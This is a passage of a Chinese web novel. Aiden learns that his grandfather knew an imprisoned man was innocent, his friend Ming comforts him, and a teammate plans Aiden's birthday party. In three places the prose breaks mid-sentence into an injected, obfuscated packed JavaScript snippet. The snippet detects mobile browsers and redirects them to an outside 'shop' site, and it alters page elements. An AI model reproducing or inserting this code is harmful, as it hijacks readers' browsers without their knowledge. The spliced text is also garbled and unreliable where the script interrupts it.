可是,他对疏眠已经没有感觉了,难道不应该大方一点,让自己的好朋友去追求她吗?疏眠是个好女孩,万中无一,聪明又漂亮,与云决明站在一起,可以说是天造地设的一对璧人,他有什么理由反对呢? 他就这样在床上翻来覆去地想了一整天。 待到了晚上,手机一响,正郁闷地把脸埋在枕头中的艾登就直挺挺地从床上蹦了起来——他给云决明设了专属的来电铃声,一听就知道是谁打来的。 他刚兴冲冲地想接通电话,手又忍不住缩了回去,一刹那燃起的火花又须臾间熄灭。这会,要是没有他和疏眠的破事,自己八成就在迪士尼乐园,和家人一起欣赏着国庆节绚丽的烟花表演,喜滋滋地举着摄像机,期盼着回家以后可以和云决明一同分享这奇妙美好的一刻。要是他打来,自己马上就接起了,岂不是显得他一直等在手机旁边,一副很可悲的模样? 更何况,现在才九点多,疏眠很有可能还跟他在一起。要是他在电话里听到了她的声音,艾登怀疑自己的心脏会当场罢工,直接离家出走,在胸膛上留下一个云决明形状的撕裂伤口。 他的手慢慢收了回去。艾登气鼓鼓地把脸重新埋回枕头中,心中却暗暗发誓,要是他再打来一次,自己肯定会接起来。 谁知,这之后,云决明竟然就杳无音讯了,没有短信问他怎么没接电话,没有再打来一通看看自己有没有出事,就这么进入了“无线电静默”模式。艾登不由得怀疑云决明打电话来其实是想问问“勾女(撩女)”技巧,好把和疏眠的关系推进到下一步,登时被这个念头气得不轻。 两个小时以后,云决明的电话再度打来的时候,艾登再也没法维持他高冷的做派了,手机才响了两声,他就迫不及待接通了。 虽然最后澄清了是个误会,艾登的心梗也没有因此好转多少——疏眠一叫,向来不喜欢麻烦事的云决明就巴巴地跑去帮忙了,这还不能证明他对疏眠的感情的话,什么能证明? 他极力想要躲开这个念头,奈何云决明此刻又提了起来。艾登只能刻意控制自己的语气,别让他觉得自己对他和疏眠一起打发时间有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041222|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意见。 “说完以后,记得告诉我结果。”云决明又叮嘱了一句。 “好。”艾登悻悻地说道,挂断了电话。 花了几秒平复心情,艾登给艾莉发了一条消息,问她录完视频没有,得到了肯定的答复以后,他才敲了敲妹妹的房门,走了进去。 床上还丢着一大堆化妆品,艾莉坐在一旁,正擦拭身上一次性的古铜色喷雾——她不喜欢晒黑自己的皮肤,但是一个声称自己去佛罗里达度假的美妆博主要是没有一身晒成小麦色的肌肤,未免会让人起疑。看她手上那条毛巾快被染成巧克力了,艾登从浴室里又拿了两条干净的毛巾,丢给了艾莉,这才在她的床上坐下。 “有什么事?”艾莉头也没抬,问道。艾登注意到她腿上虽然也喷了美黑喷雾,她却似乎没有要擦掉的意思。 “我认为,你已经足够成熟,可以应付我接下来要告诉你的事情了。”艾登深吸一口气,缓缓说道。 “你是Gay,而你喜欢云决明?”艾莉立刻抬起了头,这句话毫无预兆地从她嘴里蹦出,像把飞刀一样准确地插进了艾登的胸膛。 “什么——不!不是!”艾登惊得一下子从床上跳了起来,他不知道自己为什么会这么慌乱,有好几分钟,他一直在语无伦次地辩解着他跟云决明只是好兄弟,云决明是他从小到大第一个交到的好朋友,所以他们才会显得比较亲密。见艾莉没有反应,他又援引了好几个心理学理论,论证为什么女人可以跟自己的好朋友勾肩搭背,亲密拥抱却不会被人视为同性恋,男性却必须保持距离才不会被误会。最后,还不忘把自己辉煌的恋爱史拿出来跟妹妹细数了一遍,力图向她证明一个从小到大只对女性有过感觉男生是不可能在一夜之间就变弯的。整个过程中,艾莉就一直挑着眉毛,拿着毛巾,仿佛在看小丑表演一样看着他。 “既然你还不打算出柜——”她慢吞吞地开口了。“我不是Gay!看在老天的份上,我有二十七任女朋友!”“好吧,既然你不出柜,”艾莉撇了撇嘴,把那个“yet”吞回了肚子里,“那你打算跟我说什么?” “我打算跟你说父亲的事情。”艾登用手抚着胸膛,他的心脏还没从惊吓中恢复过来,仍然砰砰乱跳着,不过,这倒是让他以为会无比艰难讲出的一段话顺畅了不少。“经过了很长一段时间的调查,我认为肯尼是无辜的,杀死父亲的另有其人,很有可能是一个隐藏在约州的连环杀人犯——如果这一点是真的,那么父亲就不是他唯一的受害人,他肯定还犯下了别的谋杀。” 他紧张地等待着艾莉的反应,可她神色完全出乎他意料,非常的冷静,连一根眉毛都没有动。 “我早就知道肯尼是无辜的。” 她就像陈述佛罗里达州的天气永远都那么热一般,平淡地说出了这句话。 46. Chapter·Twenty-Four “你知道?” 艾登简直不敢相信自己的耳朵。 “爷爷也知道这件事,但我觉得奶奶和妈妈应该不知道。” “这不可能!” 如同条件反射一般,艾登下意识地吼出了声,艾莉禁不住在那一秒转开了头,似乎是不敢与他对视。但是,下一刻,她又立刻回过脸来,直直地注视着他,“没错,爷爷知道这件事,”她的声音低沉得古怪,像是在提醒艾登他们如今身处酒店,不是家中——这真是可笑,艾登想着,他竟然要自己的妹妹来提醒自己不要闹出一场风波,“他怎么可能不知道,动动你的脑子,艾登,他参与了整个审判过程,他比我们都清楚用来给肯尼定罪的证据有多么薄弱。” “那你是怎么知道的。”艾登嗓子突然变得无比干涩,他勉力才挤出了这句话。 “大概是父亲去世一年后,我偷听到爷爷和杰森父亲打电话,对方告诉他又有一桩类似的案件发生了,问爷爷想不想了解情况。爷爷说,‘我不想知道这些事情,我只当杀死我儿子的凶手已经入狱了,我的家人也都是这么想的,我不希望你再用这些事情来打扰我和我的家人。没错,我知道他可能是无辜的,但我不能让我的家人再经历一遍那种痛苦,你听懂了吗,科尔?’” “你那时候才六岁!”艾登霍然起身,不可置信地看着自己的妹妹。 “我才六岁没错,但我完全理解了爷爷说出的每一个字,以及它们背后蕴藏的含义。从那以后,杰森父亲再也没有打电话来了。从那时起,我就知道肯尼是无辜的了。” 艾莉的语气很镇定,也很平静。 她也站起了身,瘦削的身材还带着少女特有的那种细弱骨感,然而看着却让人觉得稳当,仿佛是海边的一根石柱,看似纤细,却已抵受了千年的浪涛,她的话里蕴藏着一股暗暗又坚决的力量,是艾登此前从来没有发现过的。 他才知道这个事实五年,就已经觉得这是个沉重无比的负担,就已经难以面对肩膀上带着血迹的愧疚与追悔。艾莉九年前就知道了真相,这么多年却一直不动声色,半分也没有显露。 他突然想起云决明对奶奶说过的话。 “但凡是伤痕,必然会留下疤痕,而有些疤痕,是永远不会消失的,即便暂时被遮盖,也不能抹去它的存在,还有它背后所深含的痛苦。” 是这样吗?就连当时才见了艾莉不过两面的云决明都能看出她默默背负的痛苦,自己作为她的哥哥,她最亲的亲人,最应该保护她,让她快乐的人,却对一切都视而不见吗? 有那么一会,他觉得自己的大脑完全停止了运转,心脏也在刹那间趋于沉默,血液一滴一滴地全往脑袋里涌去,挤空了氧气,理智,还有全部的气力,让他觉得自己就像个大头气球,整个人就这么僵硬地停滞在半空中,晃晃荡荡地漂浮着。直到艾莉握住了他的手,艾登才发觉自己不知道什么时候跌坐在床上,妹妹跪坐在他身旁,她冰冷的双手合握住了自己的手指。 “这不是你的错。”她小声说,像是已经知道他在想什么。 但这的确是他的错,艾登张开了嘴,却说不出话来。阳台门大开着,清凉的微风拂动着棉纱窗帘,远远地,能听见孩子们在泳池边上的嬉笑,一切与他几分钟前敲开房门时别无二致,什么也没有改变。但艾登随即又记起,其实所有恐怖的灾厄都是在几分钟内发生的——庞贝是在一瞬间毁灭的;喀拉喀托火山短短数十秒的爆发就让周围岛屿上的居民全部罹难;广岛与长崎两颗原子弹的引爆也只需刹那。骤变只需要短短的一微秒,甚至是微秒的微秒,一切就可能天翻地覆。 如果他能早点意识到多好,如果他没有急于接替父亲遗留的空缺多好,为什么非得等到云决明点醒自己,才明白这么多年他是个多么不合格的兄长? 艾登忽然无比希望云决明能在这儿。 “这不是你的错。”艾莉再重复了一遍,艾登不记得她什么时候用过这么温柔的语气对自己说话,“如果要论起来的话,也是我的错,我知道了真相,却没有早点告诉你。” “你为什么没告诉我?” “因为……”艾莉迟疑了一会,“因为爷爷也没说。” 所有射入这间房间的光线仿佛都在她说出这句话的同时褪色了,再也不是明亮的,欢欣的,令人想到尚未结束的一天所具有的无限可能性,暴风雨的黄昏笼罩着这间房间,每一束光都带着从苦难中走出的低吟,黯淡得像从破败教堂百花窗瞧见的的月光。艾登以为自己的痛苦已经到了极限,他错了,心上被狠狠刺入的一刀让他明白此前都不过是热身。 “爷爷知道肯尼是无辜的,”他这句话仿佛是从刀片中挤出来的一般鲜血淋漓,“而他什么都没做?” 艾莉不敢应声。她倏然收回了自己的手,就像被烫到了一样。 “爷爷知道肯尼是无辜的,但他还是任由对方——一个丈夫,一个父亲,一个儿子,活生生地在不属于他的地狱里腐烂?” 这让一切都成了笑话。 他以为自己独自承担的无上重担,他以为自己独自背负的深重愧疚,他深埋心底,只敢让云决明一个人知道的秘密,他过去五年以来的努力,他每个月寄去的支票,还有云决明如今为了这个案件付出的一切,全都成了笑话。 “爷爷只是不希望家人遭受那种折磨,艾登,”连一贯牙尖嘴利的艾莉,此刻似乎也变得结巴了起来,“你记得这件事发生以后我们家变成了什么样子,你有整整半年把自己关在房间里,一句话也不说,交流全靠和妈妈发手机短信。奶奶整日以泪洗面,妈妈在夜里偷偷躲在衣柜里抱着父亲的衬衣哭,爷爷那段时间酗酒酗得厉害,甚至不得不参加戒酒互助会,我想他只是不希望——” 艾莉那时只有五岁,她怎么会记得这些事? 然而,这个念头也只在他脑海里停留了一秒,就被如翻江倒海般袭来的怒气冲散了,“那肯尼的家人呢?”他压低了声音怒吼道,隐隐的回音中带着昂立雕像轰然坍塌的声音,“肯尼的妻子,还有他年幼的儿子呢?他们的痛苦就不是痛苦了吗?他们为此而流下的眼泪就不是眼泪了吗——” “每个人都只会为自己的家人打算,你知道这一点的,艾登——”艾莉的辩解听上去有气无力。“爷爷什么都没说,什么都没做,是因为他清楚,只要这个消息一公开,我们全家人都没法再开心起来了。每天都是在希望与绝望中挣扎的一天,每天都是苦苦等待又失望透顶的一天,直到那个杀死了父亲的凶手被抓住以前,我们永远都会活在折磨中,一遍又一遍重温他死去那天的回忆——” 她咬住了下唇,刹那间,她做了一个很古怪的动作,她的右手猛地抓住了左手,就像是要阻止它做什么似的。随即又忽然松开,若无其事地垂下。 “我知道这一点!我知道人都有自私的本性!我知道每个人都只会在乎自己的家人!但我以为——我以为——” “他只是做了任何一个想要保护自己孙辈的爷爷都会做的事情,艾登。” “这就是借口吗?因为不希望自己的孙子和孙女受到伤害,就可以把这份伤害转嫁到别人身上吗?” “你如果不冷静下来的话,我没有办法继续跟你沟通。”艾莉抱紧了双臂,模样很焦躁。 “那真是太好了,因为我根本不知道你为什么还能这么冷静!我们的爷爷亲手送一个无辜的人进了监狱,你却在这为他颁发年度最佳祖父勋章!” 艾登攥紧拳头,却没有目标可以让他挥出这一拳,没有对象能让他痛痛快快地发泄自己的愤怒。他是如此失望,仿佛自己的整个世界在一瞬间毁于一旦,他在断壁残垣中寻寻觅觅,却发现过去那些耸立入云的形象也不过是一地煤渣。然而,他的愤怒越深,就有越多的悲哀源源不断地从脑海中冒出,连同一起出现的是微不足道,他以为早已忘怀,却仍然长存脑海中的记忆——父亲死后他第一次鼓起勇气参加橄榄球训练,爷爷就坐在观众席上为他鼓掌,;他的每一场毕业典礼上,爷爷都会拉起一条横幅,上面写着“艾登·维尔兰德万岁!”;当校长喊出他的名字,为他颁发毕业证书的时候,爷爷一定是那个最先站起来,欢呼得最大声的人;还有一次,他在父亲节给爷爷做了一张贺卡,第二天早上起来就在床头柜上发现了爷爷的回信—— “我永远为你骄傲,艾登,你是上天赐予我最好的礼物。” 爷爷理应是比自己更好的人,完美无缺,不该有任何劣根。 泪眼婆娑中,他根本没意识到艾莉什么时候松开了手,她突然把手机塞到了艾登的手里,吓了他一跳,“我是安慰不了你了,”妹妹摇了摇头,“我明白为什么爷爷会做出那个选择,但你显然不能。我们在这一点上是谈不拢的,还是让他来吧。” 艾登愕然低头向手机望去,上面是一串他熟悉无比的号码。 “Hello。”他嘶哑着嗓音说道。 “艾登,是我。”云决明令人安心的温和嗓音从电话另一头传来。 “Ming。” “是我,我在这,艾登。” “Ming。”他似乎只能说出这个字,憎恨与敬爱像两个急于要逃离彼此的流星,在他的天空撕裂开了两道深深的口子,悲伤从中褪去,空余下一片荒芜的砾滩,满目闪耀皆是回忆的碎片,他很难想象这个世界曾经的模样,很难想象这儿过去伫立着一座伟岸的雕像,没有任何事物能摧毁它的英雄形象。 “听我说,艾登。” “我在听。” “我知道你现在一定很失望,很愤怒,艾莉简单跟我说了事情经过。” 失望与愤怒根本不足以描述他此刻的心情,但艾登没吭声。 “我不是来挽回你的祖父在你心中的形象的,我也不想为他的行为辩解,不管他这么做是出于什么理由,我相信你此刻都已经知道了,你只是无法接受而已。” “嗯。”云决明的语气平缓了他的心跳,如果说艾登此时此刻还坚信着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041223|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件事,那就是云决明绝不会做出任何伤害他的事。 “我只是想说,你的爷爷在成为你的长辈以前,他也是人,他不是完美的,他这辈子可能犯过许许多多你根本想象不到他会犯的错,只是他不会让你知道罢了。在事关亲人的大是大非面前,没有几个父母——甚至是祖父母——能做出理智,不偏不倚,公平工作的决定的,他们的第一本能,永远都是保护自己的孩子。” “我不需要这种保护,”艾登摇着头,沙哑地嚷道,感到自己狼狈得就像一只受了重伤的野兽,蜷缩在乱石下躲避着风暴“艾莉也不需要,最需要这种保护的是肯尼的妻儿,是那个无辜地在监狱里待了十年的可怜人——” “他有你的——不对,是我们的保护,不是吗?那就是我们正在努力的事情,你,我,还有艾莉,不是吗?” 艾登一愣。 “我知道你可能要花很久的时间才能原谅你的爷爷,甚至,你此时可能会觉得自己根本做不到。我不会要你现在马上就理解他的所作所为,只是,我希望你能明白一点。” “什么,Ming?” “如果你的爷爷真的那么自私的话,他是没有办法培养出一个像你这样的孙子的,艾登。” 这句话让艾登眼眶再度为之一酸。 “或多或少地,每个人都会为了爱去做一些无比自私的事情。你的爷爷确实做错了,我不会否认这一点,然而,这件事的背后不是只有自私一个动机。肯尼的入狱,还有证明他的清白,都不是你的爷爷一个人的影响就能做到的,这其中还有整个美国司法体系的腐烂,警察的不作为包含在里面。如果法官有点自己的判断能力,那他就会意识到用来给肯尼定罪的理由太薄弱了。如果当地的警察局能抗住压力,坚持要公事公办,那么肯尼从开始就不会被抓起来。这个社会就是这么无奈而残酷。” “嗯。”他轻轻应了一声,艾莉这时候打电话给云决明是个正确无比的选择,这个世界上,大概也只有他知道这时候要说什么,才能让自己冷静下来。 “至少现在,你,我,还有艾莉三个人,我们可以一起纠正这个错误。亡羊补牢,为时不晚。” “好。” “还记得你跟我说过什么吗,艾登,你说我消耗了太多不必要的时光去对抗只占据时间洪流很小一部分的回忆,那根本没有必要。那么,我现在也要告诉你,你也在消耗太多不必要的情绪,去对抗一个发生在过去,已经无法逆转的错误,这同样没有必要,我们已经在尽自己最大的努力让肯尼能洗刷罪名了,这才是最重要的。” “好。” 至少就现在来说,能听到云决明的这番话,对他已经足够了。 等云决明说再见以后,他才把艾莉的手机归还回去,艾莉从他手上接过电话,又感谢了云决明几句,才挂断。 艾登起身去洗手间洗了一把脸,他在凉水下冷静了很久,直到自己的情绪彻底平复了以后,才直起身。他伸手摸不到毛巾,在空中胡乱抓了半天,才有一只冰凉的手递来了几张面巾纸。 “好了,你现在可以告诉我,你终于愿意把我也囊括进你一直‘秘密’进行的调查里去,是为了什么吧。”等他把脸擦干,倚在艾莉才开口了。从镜子里,艾登能清楚地在自己妹妹眼里瞧见担忧,但她的语气还是一如既往的欠扁,“我才不信你说的‘足够成熟’那番鬼话呢,你肯定是有什么要用得上我的地方,才会把这件事告诉我。” “Ming需要你编写一个程序来根据他做出的受害者侧写来筛选受害者。”艾登耸耸肩,说道,尽力让自己的语气听上去调侃一点。 “我就知道。”艾莉哼了一声。 “你不愿意的话,我也可以上网找个中国的程序员干这个活,Ming说几尽力金就可以找到一个活干得很利索的码农,而且不会对工作内容多问一个字。”艾登也跟着哼了一声。 “谁说我不愿意了。”艾莉气得眼睛一瞪,“我老早就想为你的调查工作出点力了,要不是你总摆出那副‘长兄如父’的架子,还把自己的调查捂得那么严实,好像担心谁会给你抢了去的样子,这个程序早几年我就给你写好了。” “这么说,你承认你的确偷偷溜进那个我严令禁止任何人进入的房间里去看过?” “你要是不想让别人进去,就及时关好门啊。”艾莉不屑地撇撇嘴,“或者换一把好点的指纹锁——我分分钟就能写个程序把它攻破,让它自己打开。” “你真的这么做过?” “开玩笑的。我还没闲到那个份上。” “是没厉害到那个份上吧?” 赶在艾莉要发作以前,艾登转过身,握住了妹妹冰凉的手,紧紧地把她的双手合拢在自己的掌心。 “谢谢你愿意加入,艾莉。” 深吸了好几口气,艾莉才勉强把即将要翻出的那个白眼憋回去。 “谢谢你愿意让我加入,老哥。” 她小声说。 47. Chapter·Twenty-Five 与艾莉谈话完的当天,艾登就找了个橄榄球训练的借口,提前结束了度假,独自搭飞机回到了约州。 当他拖着大箱子,站在公寓门廊上摸索着钥匙的时候。木门忽地打开,呜呜嚎叫的洛克希如同斗牛冲向斗牛士,似离弦之箭般猛地扑到了他身上。艾登闷哼一声,倒退三步,还是没能挡得住大狗的体重,跌坐在家门前的草地上,洛克希湿漉漉的舌头随即便舔上了他的脸,嘴里发出兴奋的呜呜声。 一抬头,他就瞧见云决明站在门廊前温暖昏黄的灯光下,刚洗完的柔软黑发上落了一圈光晕,他正弯腰,把洛克希一并撞倒的行李箱扶了起来。 “看到洛克希突然激动地冲下楼梯,我就猜到可能是你回来了。” 他轻笑着说,没有多问一句为什么艾登提前回来了。 日子在那之后又恢复到了去度假以前的模样。 橄榄球夏季训练正式开始了,艾登每天都忙得早出晚归,不过还是在云决明有没有继续与疏眠发展感情这一点上留了个心眼,暗暗观察着。但云决明的生活还是一如既往的简单,每天就是学习,看书,遛狗,家务,做点翻译活赚点小钱,陪艾登打游戏看电影。他不喜欢出门,除了买菜,就是载着艾莉去商场购物,给她当免费苦力兼司机。他几乎不与其他任何人打交道,别说疏眠,他连自己的母亲都没有回去看过一次。 艾登知道自己不回家的理由。从艾莉口中得知真相以后,装作一无所知,继续若无其事地与爷爷相处就变成了一件不可能的事。一句无心的话,一个不经意的眼神,都有可能再度挑起被云决明平息下去的情绪,重又引燃失望埋藏的火山——时至今日,偶尔回想起艾莉转述爷爷的那番话,仍有熔岩潺潺流出,沿途留下灼烧的伤痕。 在他能平静地面对家人以前,艾登都不想回去。 但他不知道是什么原因让云决明也与自己的母亲如此疏离。仔细想想,他和云决明一块住了这么久,甚至都没见过对方给母亲打个电话。 然而,这个话题一直没有什么好的时机提起,格外惬意的日子总是过得特别快,有时候艾登反而会避免提起这类话题,只是不想破坏当下那种平淡宁静的气氛,不想让云决明近来常常浮现的隐约笑意像个肥皂泡泡一样被戳破,倏地又回到那种面无表情的冷淡疏离中。也许云决明也有同样的心思,他后来再也没提起与杰森父亲有关的话,但有那么一两次,艾登还是注意到了他在手机上查看与科尔·埃弗里有关的新闻,并且截图了好些关键段落。 八月九号,一次橄榄球训练结束后,杰森突然在更衣室里把艾登拦下了。 “哟,艾登。”他简单地招呼了一句,“别走那么快,我有事跟你说呢。” “怎么了,尊敬的队长?我今天训练表现挺好的。”艾登冷淡地说道。 实际上,他的训练成绩不止是好,是非常棒。艾登一直把自己的身体保持在巅峰状态,训练场上的表现无可挑剔,教练们连半句批评都说不出来。然而,每次艾登旁侧敲击地提起更换队长的事情时,总教练斯蒂文总是顾左右而言他。虽说每个人都能看出杰森的状态不太对,他时常精神恍惚,跑起场来有气无力,一看就是已经对什么东西上瘾了。指挥的工作实际上已经落在了艾登的头上,但是教练就是不肯松口。 “我不是说训练的事情,”杰森有点不耐烦,“我是说你的生日,笨蛋,有些事要跟你商量一下。” 艾登这才记起,他的生日在八月二十一号,确实是快到了。 从高中开始,他的生日派对都是由杰森举办的。 艾登对生日派对不感兴趣,从父亲死后,他就再也没有庆祝过生日。但杰森不会放过这么一个狂欢的借口,毕竟,艾登的生日刚好在夏天,正是大家都放假的时候,谁都想抓住夏天的尾巴再好好尽兴一把,因此不会拒绝偷渡来派对上的酒精饮料和不明烟卷。 而且,只要在脸书上放上艾登的照片,打出U大校队四分卫的名号,就能吸引来许多衣着清凉性感,漂亮火辣的女生参加。艾登一直很怀疑,杰森兴许就是靠着给自己办生日派对,才得到了“百人斩”这个外号。 “你知道我向来不过问派对的事情,”艾登有点莫名其妙,“你想怎么办,就怎么办好了。” 他的生日派对举办的地点通常都在杰森家,宾客名单也由杰森拟定,派对的费用也由杰森负责——他喜欢把派对称之为“献给我最要好的兄弟的生日礼物”,而且每一年都吹嘘着派对的又一次大获成功,比如哪个学校的某某某的来了,哪个有钱人家的某某也来了,或者是来了的某某谁与哪个名人或政要又有亲戚关系。在他的形容中,艾登的生日派对俨然已是约州年轻人社交日历上的大事件了,去年,他甚至用了“生日派对中的Met gala”来形容。 艾登觉得挺倒霉的,要是他的生日跟杰森的生日一样,在平安夜的前一天,根本不会有人抽得出时间前来参加,也就没这么多事了。 “我知道你今年肯定希望让那个凯特·摩丝来参加——” “你能不能别这么称呼Ming?”艾登没好气地说道,但杰森只当没听见,自顾自地说了下去。 “——如果他要来参加的话,我也不想把事态弄得太难看,让他不自在,不管怎么说,他都是你的朋友,这也是你的生日。所以,我在想,要不我少邀请一些兄弟会的纨绔子弟,多请一点中国人来,怎么样?” “多请一点中国人来?”艾登吃惊地看着对方,“你训练前磕什么药了,杰森?” “妈的,难道我想让你在你自己的派对上好好享受一次也有错了?”杰森恼羞成怒地提高了声音。 “我没有这个意思,杰森。”注意到有几个队员望了过来,艾登息事宁人地放低了声音,“我很高兴你想多请一点华人过来玩。” “既然你也同意这是件好事,那我就直说我的想法了,凯特·摩丝看起来就不像个交友甚广的,你平时也不混中国人的圈子。所以,嗯,也许你可以问问那个谁——就你的前女友,那个荣誉协会的会长还是副会长什么的,让她去发布消息,她应该认识很多中国人。” “你的意思是,要我邀请我的前女友来我的生日派对上玩?” 杰森吐露心声的那个晚上喝得烂醉如泥,又不知道吃了什么。他第二天醒来的时候,已经全然不记得前一天发生了什么,更不记得自己在意志模糊时说了些什么话。艾登也不打算戳破他的心思,只是玩味地盯着他。 “这也是为了能让你和你的凯特·摩丝玩得开心点,”杰森一脸不耐烦的点了点头,“拜托,我听说你们两个分手分得挺平和的,该不会连待在同一个屋檐下也做不到吧——更何况,上次我参加慈善活动的时候遇到了他和那个女的,我感觉你朋友似乎对她有点意思,这也算做件好事,说不定能撮合他们呢。” 艾登敢打包票,要是云决明果真企图在派对上接近疏眠——倒不是说他会让这种事发生——以杰森的脾气,再加上他对亚裔的深恶痛绝,只怕他当场会气得把茶几给砸了。 然而,连杰森都能看出云决明对疏眠有意思——他又不禁心酸地意识到这一点——看来云决明在慈善活动那天确实跟疏眠相处得非常愉快,非常亲密,虽说无论自己怎么旁敲侧击,云决明就是不肯承认这一点,非说他和疏眠根本不熟,甚至连朋友也算不上。 “我和她分手是还算平和,”已经过去几个月了,艾登不觉得自己还会觉得尴尬,进而落荒而逃,便勉强点了点头,“既然你这么说了,我会跟疏眠提一句,请她帮我分发一点邀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041224|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请函。” 说实话,能跟自己的同胞一起过生日,其实也挺不错的。艾登心想,至少一屋子的中国人比一屋子自己不得不敷衍的兄弟会成员强。老实说,要不是他的爷爷和父亲都是ADP兄弟会的成员,艾登根本不会加入。 “我觉得,今年既然开放给那些中国人参加了,就不搞邀请函了,”杰森说,“但凡那个谁——叫什么来着?我根本记不住中国人的名字——想邀请谁,把兄弟会宿舍的地址给对方就是了。” 艾登眯起眼睛,杰森装得还有模有样的,要不是要不是艾登那天晚上听了他的酒后真言,亲耳听见对方字正腔圆地说出了疏眠的名字,这会还真有可能被他糊弄过去。 “不在你家办?” “我家容纳不了那么多人,兄弟会宿舍更大,来一百个人都装得下,”杰森说,“那女的看上去是个挺精明能干的人,你干脆让她负责宾客名单算了,反正这个派对先到先进,人数够了就不再放人进来了。” 看来,杰森虽然希望疏眠能来参加派对,对于派对的格调被中国人“拉低”这件事仍然耿耿于怀。过去,能得到艾登生日派对的邀请函是一种特权,象征着成为约州最酷最受欢迎的那一群年轻人的社交圈,杰森一直对自己能造成这种效应引以为傲,显然他不打算那么快就放弃这份傲气。 “我会跟她说的,”艾登耸了耸肩,“但我不能打包票她一定会来,天知道她到时候会不会有什么慈善活动要忙——” “我查过了,”杰森立刻接话了,“她负责的荣誉协会在那天没有任何特殊事务,所以,要是她拿这个搪塞你,你就知道她在找借口了。” “你怎么会去调查这种事?”艾登追问了一句,好笑地等着看杰森的反应。 然而,可能是早就预想到他会有这样的反应,杰森对答如流,没有犹豫,“我最近在跟一个来自那个协会的女孩约会,我得确定她推脱我的约会提议时说的是真话,而不是随便编造一个理由,好跟另一个男人出去玩。” 对这个说法挑不出什么毛病,艾登只得作罢了,“即便如此,人家要是不想来,我也不能硬要求她来啊。” “我倒是无所谓,”杰森把无所谓三个字咬得很重,脸上更是一副云淡风轻,毫不在乎的模样,“但你的好兄弟凯特·摩丝会怎么想呢?八成只会觉得你对他跟你的前女友一起玩有意见,你要是想给他留下这种印象的话,随便你好了。” 杰森说这句话可能只是想激他邀请疏眠,但艾登却不由得真的犹豫了起来。 他已经在心里挣扎了一个多月,一方面,他的确不希望云决明与疏眠在一起——一想到这件事,他心里就不是滋味,又酸又涩,疏眠怎么说也曾经跟他约会过,要看着她跟自己的好朋友在一起太奇怪了;然而,另一方面,他又觉得自己不该插手云决明的恋情,难道他的好朋友没有想跟谁约会就跟谁约会的权力吗?只因为他跟自己成为了好友,这世界上就有二十七个女孩云决明不能与之约会了吗?那也太不公平了。 也许是时候他该做出个决定了。 “我会尽力劝说疏眠过来的,”艾登强迫自己露出愉快轻松的笑容,“这毕竟是我的生日,她应该会给我面子的。” “这才是我的好兄弟嘛,”杰森脸上的喜色就像捏在掌心里的橡皮泥,摁了这头冒那头,藏了嘴角忘了眼,差点都忘记要继续装出一副满不在乎的样子,“你等着看,艾登,我保证这会是你终生难忘的一次生日会,你等着看!” 艾登敷衍地点了点头。 这大概真的会成为他毕生难忘的一次生日会,他心想,如果将来他会被邀请到云决明与疏眠的结婚典礼上,听云决明发表演讲时提到“艾登的二十岁生日派对就是我和疏眠恋情的开端”的话,就更是了。 48. Chapter·Twenty-Six “嘿嘿嘿!看啊,这不是我们亲爱的生日男孩吗?” 艾登一走进兄弟会的屋子,一阵兴奋的怪叫便轰然响起,笑容从四面八方如雨点袭来,有两个球员当即便踩着沙发翻过靠背,冲过来过来给了他一个紧紧的拥抱。“二十岁了,兄弟,还有一年就能合法喝酒了,这可是件大事,”他们热情地拍着他的背,在艾登耳边嚷道,“当然,在这间屋子里,多少岁喝酒都是合法的。” “时机正好,艾登。”杰森的声音懒洋洋地在他们身后响起,他穿着一身笔挺修身的黑色西装,皮鞋擦得锃亮,恐怕连只苍蝇都站不住,一头棕发被细致地打理出了一种漫不经心又精致的造型,倒显得他才像是这场派对的主角。他站在客厅的大理石壁炉旁,手中握着一瓶香槟。话音刚落,他就微笑着旋开了酒瓶。轻轻的“啵”一声,瓶口随即冒出丝丝白烟,“香槟刚醒好。” 虽说知道杰森盛装打扮是为了疏眠,但难得看到他把自己包装得这么人模狗样的样子——西装外套里的衬衫竟然还是浆过的,顶上打了一个漂亮的黑色蝴蝶结——艾登的嘴角还是禁不住抽搐了一下。 他提前两个小时来了兄弟会,这是杰森要求的。“有不少兄弟会成员想给你庆祝生日,”几天前,他打电话给艾登,“但他们晚上已经安排了活动——临时的事情。所以,要是你能提前一点过来,就再好不过了。我有一瓶09年的香槟,刚好可以开了给大家一起享用。” “我知道了。”艾登心知肚明为什么那些成员会突然有了安排,他们只是不想跟一群中国留学生混在一起,觉得拉低了自己的社交阶级罢了。这让他很愤怒,但他身处在这个圈子中,就必须按照这个圈子的规矩来,这是令艾登最无可奈何的一件事。 挂断了与杰森的通话以后,艾登转又拨通另一个电话。 